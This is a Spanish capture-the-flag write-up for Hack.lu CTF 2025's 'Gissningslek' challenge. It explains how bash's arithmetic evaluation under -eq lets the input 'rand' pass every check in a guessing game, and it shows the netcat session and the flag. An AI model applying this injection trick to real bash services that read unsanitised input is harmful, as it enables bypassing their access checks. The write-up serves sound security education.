Gissningslek - Hack.luCTF2025
Reto basado en vulnerar un código en bash mediante el uso de variables mal sanitizadas
Autor del reto: msanft
Dificultad: Fácil
Enunciado
1
Casino? CS cases? Pff. Now this game is really unfair.
Archivos
nc xn--gissningslek-5wa.solven.jetzt 1024: Conexión por netcat al servidor.gissningslek.zip: Código fuente del servidor.
1
2
3
4
5
6
7
8
9
gissningslek.zip
|
├── docker-compose.yml
├── Dockerfile
├── docker-stuff
│ ├── readflag
│ └── ynetd
├── flag.txt
└── gissningslek.sh
Archivos utilizados en mi repositorio de GitHub.
Analizando el código
La funcionalidad principal del código reside en gissningslek.sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env bash
echo "Låt oss spela en gissningslek!"
echo "Varning: Du får inte ändra din gissning. :("
read -r user_guess
function guess() {
rand=$(( ( RANDOM % 10000 ) + 1337 ))
if [[ "${1}" -eq "${rand}" ]];
then
echo "Rätta"
else
echo "Fel"
exit 1
fi
}
for _ in {1..1000}; do
guess "${user_guess}"
done
/readflag
El código en bash implementa un juego de adivinanza donde el usuario deberá adivinar 1000 veces el número aleatorio en cada ronda para leer la variable FLAG. Si el usuario introduce un número que no se corresponde con el generado, el programa se cierra.
Solver
El código anterior tiene varias vulnerabilidades críticas:
1. Evaluación aritmética
1
if [[ "${1}" -eq "${rand}" ]];
En bash, -eq fuerza la evaluación aritmética, no la comparación de cadenas. Esto significa que "${1}" se interpreta como una expresión aritmética y no como texto.
Un ejemplo válido sería el siguiente:
1
2
[[ 2+2 -eq 4 ]] # true
[[ foo -eq foo ]] # true si foo es una variable numérica
2. Variable rand accesible:
1
rand=$(( ( RANDOM % 10000 ) + 1337 ))
rand es una variable accesible desde la comparación aritmética, ya que si introducimos como usuario el nombre de la variable rand, desde bash se evaluará como:
1
[[ rand -eq rand ]]
Esto provoca que la expresión siempre sea verdadera.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kesero㉿kali)-[~]
└─$ nc xn--gissningslek-5wa.solven.jetzt 1024
Låt oss spela en gissningslek!
Varning: Du får inte ändra din gissning. :(
rand
(...)
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
Rätta
flag{w0w_Byp4ss_B4shh_1snt_diff1cUlT!!}
Flag
flag{w0w_Byp4ss_B4shh_1snt_diff1cUlT!!}
